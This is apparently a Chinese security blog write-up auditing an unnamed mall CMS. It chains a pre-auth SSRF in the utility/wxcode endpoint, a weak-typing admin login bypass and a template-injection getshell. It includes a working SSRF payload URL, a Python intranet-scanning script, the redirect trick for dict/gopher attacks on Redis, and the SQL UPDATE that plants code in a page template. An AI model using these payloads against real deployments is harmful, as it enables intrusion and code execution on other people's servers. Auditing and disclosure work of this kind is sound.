代码审计之某通用商城系统getshell过程
字数 1489 2025-08-10 08:28:57
某通用商城系统代码审计与Getshell过程分析
0x00 前言
本文详细分析某通用商城系统的代码审计过程,展示从路由分析到最终getshell的完整漏洞链。通过此案例,可以学习到系统性的代码审计方法和常见漏洞挖掘技巧。
0x01 系统路由分析
系统路由主要通过以下参数控制:
$controller = $_GPC['c'];
$action = $_GPC['a'];
$do = $_GPC['do'];
路由处理流程:
- 加载模块
- 跳转到对应控制器
0x02 权限验证机制
权限验证核心逻辑
if (is_array($acl[$controller]['direct']) && in_array($action, $acl[$controller]['direct'])) {
require _forward($controller, $action);
exit();
}
checklogin();
- 通过
acl数组判断当前action是否在控制器的direct数组中 - 如果在
direct数组中,则不需要进行checklogin校验 - 否则需要进行登录验证
checklogin函数分析
function checklogin() {
global $_W;
if (empty($_W['uid'])) {
if (!empty($_W['setting']['copyright']['showhomepage'])) {
itoast('', url('account/welcome'), 'warning');
} else {
itoast('', url('user/login'), 'warning');
}
}
return true;
}
验证逻辑:
- 检查全局变量
$_W['uid']是否为空 - 为空则跳转到登录页面
- 不为空则验证通过
登录验证流程
文件路径:web/source/user/login.ctrl.php
- 查询用户记录
$record - 通过
user_single函数校验用户和密码 - 如果
$record不为空,则设置$_W["uid"]并登录成功
0x03 漏洞挖掘思路
-
寻找不需要授权的direct接口
- 分析
permission.inc.php中的direct数组 - 常见无需授权接口示例:
'account' => array( 'default' => '', 'direct' => array('auth', 'welcome'), ), 'user' => array( 'default' => 'display', 'direct' => array('login', 'register', 'logout', 'find-password', 'third-bind'), ), 'utility' => array( 'default' => '', 'direct' => array('verifycode', 'code', 'file', 'bindcall', 'subscribe', 'wxcode', 'modules', 'link'), )
- 分析
-
功能点流程分析
- 检查整个业务流程是否有权限绕过点
- 关注参数传递和校验逻辑
-
用户与后台权限功能测试
- 测试前台用户功能点
- 测试后台管理功能点(很多系统不开放注册)
0x04 前台SSRF漏洞
漏洞定位
通过搜索以下关键字定位可能存在SSRF的功能:
ihttp_requestsendHttpRequestSendCurlsend_requestsend_httpsend_http_synchronous
漏洞分析
-
参数可控,但系统做了限制:
- 只能使用http/https协议
- 限制了一些内网IP的host
-
绕过方法:
- 利用curl跟随重定向特性
- 构造
header('Location: dict://localhost:3306')绕过限制
漏洞利用
Payload示例:
http://host/web/index.php?c=utility&a=wxcode&do=image&attach=http://127.0.1.13:80/
利用效果:
- 服务探测
- 使用gopher、dict协议批量攻击redis等内网服务
探测脚本
#!/usr/bin/python3
# -*- coding:utf-8 -*-
import requests
import time
import threading, queue
Lock = threading.Lock()
okList = []
def produce():
for i in range(1,255):
for j in range(1,254):
ip = '192.168.{a}.{b}'.format(a=i, b=j)
url = 'http://target/web/index.php?c=utility&a=wxcode&do=image&attach=http://{ip}:80/'.format(ip=ip)
myQueue.put(url)
print("Load target Done!!!")
def work():
while True:
try:
url = myQueue.get()
except:
if myQueue.empty():
break
print("try: {u}".format(u=url))
try:
res = requests.get(url, timeout=2)
if res.status_code == 200:
Lock.acquire()
print("ok ip: {ip}".format(ip=ip))
okList.append(ip)
Lock.release()
except Exception as e:
print("[worker] error,e:{e}".format(e=e))
def main():
produce()
threadingNum = 50
myThread = []
for i in range(threadingNum):
t = threading.Thread(target=work)
myThread.append(t)
t.start()
for t in myThread:
t.join()
print("ok, work Done")
print(okList)
if __name__ == '__main__':
main()
0x05 后台登录绕过
漏洞原理
-
密码hash生成规则:
$record['hash'] = md5($record['password'] . $record['salt']); -
弱类型问题:
- 如果管理员密码的md5以数字开头
- 可以通过爆破开头的数字来绕过登录
示例
如admin888和password888这类简单密码的md5可能以数字开头,容易被爆破。
0x06 后台Getshell
漏洞利用步骤
-
进入后台"站点->数据库"处执行SQL语句:
UPDATE `ims_site_page` SET `uniacid` = '1', `multiid` = '0', `title` = '快捷菜单', `description` = '', `status` = '0', `type` = '2', `params` = '1', `html` = '{if phpinfo())//}', `createtime` = '1593049546' WHERE `id` = '1' -
访问URL触发漏洞:
/app/index.php?i=1&c=home&a=page&id=1
漏洞分析
-
代码路径:
app/source/home/page.ctrl.phpif ($do == 'getnum') { // ... } else { $footer_off = true; template_page($id); // 关键调用 } $page['html'] = str_replace(array('<?', '<%', '<?php', '{php'), '_', $page['html']); -
过滤机制:
- 替换了常见的PHP标签
- 但模板解析器会主动补全
<?php标签
-
模板解析关键点:
$str = preg_replace('/{if\s+php if($1)str);- 将
{if phpinfo())//}转换为<?php if(phpinfo() - 利用
//注释特性闭合语法错误
- 将
-
最终include模板文件,导致代码执行
0x07 总结
漏洞链
- 前台SSRF漏洞(utility/wxcode接口)
- 后台登录弱类型绕过
- 后台模板注入getshell
审计方法论
-
系统化审计流程:
- 确定路由机制
- 分析权限验证
- 前台漏洞挖掘
- 后台漏洞挖掘
-
关键字搜索法:
- 对于不熟悉的语言,使用关键字定位潜在漏洞点
- 如SSRF相关函数、文件操作函数等
-
关注业务逻辑:
- 分析整个业务流程
- 寻找逻辑缺陷和权限绕过点
通过这种系统化的审计方法,可以有效发现Web应用中的安全漏洞。